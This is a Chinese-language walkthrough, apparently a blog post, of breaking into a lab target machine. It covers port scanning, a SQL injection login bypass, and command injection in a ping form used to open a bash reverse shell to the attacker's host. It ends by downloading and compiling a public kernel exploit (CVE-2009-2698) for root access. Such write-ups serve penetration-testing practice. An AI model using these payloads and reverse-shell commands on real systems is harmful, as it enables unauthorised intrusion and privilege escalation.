据靶机描述,这个靶机有不止一种攻击链,本仙女不才,只找到一种。
本文的攻击路径是:端口扫描-->万能密码web登录-->RCE获得反弹shell-->系统版本漏洞提权
输入命令(具体ip段根据实际情况)
sudo arp-scan 192.168.101.1/24
得到网段所有在线设备ip和MAC地址,根据靶机网络配置中显示的MAC地址,可以确定靶机ip为192.168.101.23
输入如下命令,得到靶机开放端口和对应服务信息
sudo nmap -sS -A -p 1-10000 192.168.101.23
上图比较有价值的信息是:
(1)80端口开放,web服务器是apache,版本是2.0.52
(2)3306端口开放,数据库是mysql
(3)综合以上两点,网站后台语言很可能是php
目前的思路:
(1)看看apache 2.0.52有没有可以直接利用getshell的漏洞
(2)访问80端口看看有没有可以利用的漏洞
输入命令
nikto -host 192.168.101.23
得到如下结果,似乎没有更多有用的信息
或许http头的一些扫描结果后续可能有用。
至此,攻击思路还是上面说的两条。
(1)在exploit-db上查了apache httpd 2.0,没找到啥有用的结果。
(2)用dirbuster对http://192.168.101.23/进行了目录扫描,没啥有用的结果。
浏览器登录http://192.168.101.23,出现如下图所示的登录页面
先试了一下常用用户名和弱密码,没成功,想着也不能是考暴力破解能力吧……
于是用万能密码试了一下,果然可以^_^
Username输入框输入
admin' or 1=1-- s
Password输入框随意
点击Login按钮之后登录成功,来到下图所示页面
这个页面实现了ping功能,一看远程命令执行的可能性就比较大。
先试试输入
127.0.0.1 | whoami
返回结果在一个新的页面
好消息是这里确实有远程命令执行漏洞,坏消息是运行web服务的用户是apache,不是root,getshell之后还得提权。
算了,不要想太多,先干正经事
攻击机上开个监听端口
nc -lvp 3333
网页上输入
127.0.0.1 | bash -i >& /dev/tcp/192.168.101.20/3333 0>&1
反弹shell到手
linux查系统版本的命令可见下面这篇文章
linux版本查看命令 - Operater - 博客园uname -a显示电脑以及操作系统相关信息 cat /proc/version显示正在运行的内核版本 cat /etc/issue或cat /etc/redhat-release Linux查看版本https://www.cnblogs.com/z-x-y/p/9467710.html这次我试了uname -a和cat /etc/issue没收集到什么有用的版本信息,都是靶机定制的。
后来用下面这个命令查询到了有用的信息(反弹shell中输入)
lsb_release -a
这个命令是用来查询linux操作系统发行版本的,查询结果如下,发行版本是CentOS 4.5
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical HackersThe Exploit Database - Exploits, Shellcode, 0days, Remote Exploits, Local Exploits, Web Apps, Vulnerability Reports, Security Articles, Tutorials and more.https://www.exploit-db.com/
在exploit-db上查找centos 4.5,下载下图中第二行2009年的这个exp,下载下来的文件名是9542.c(CVE-2009-2698)
先把exp弄到攻击机上,然后攻击机上进到exp所在目录,用下面的命令起个简单的http服务
python -m SimpleHTTPServer 2333
然后先不要着急把exp下载到靶机上,因为反弹shell的初始目录apache这个用户是没有权限创建新文件的。所以在下载exp到靶机之前,还要先在靶机上创建一个apache用户可以新建文件的文件夹。
比如反弹shell中用下面的命令创建/tmp/sh文件夹
mkdir /tmp/sh
进到这个文件夹
cd /tmp/sh
用ls -al命令可以看到apache用户有该文件夹的读写执行权限
然后就可以用wget命令把exp下载到靶机中了,反弹shell中执行以下命令
wget http://192.168.101.20:2333/9542.c
exp里面有提供编译执行的命令,在反弹shell中输入
gcc -o 9542 9542.c && ./9542
即可得到root权限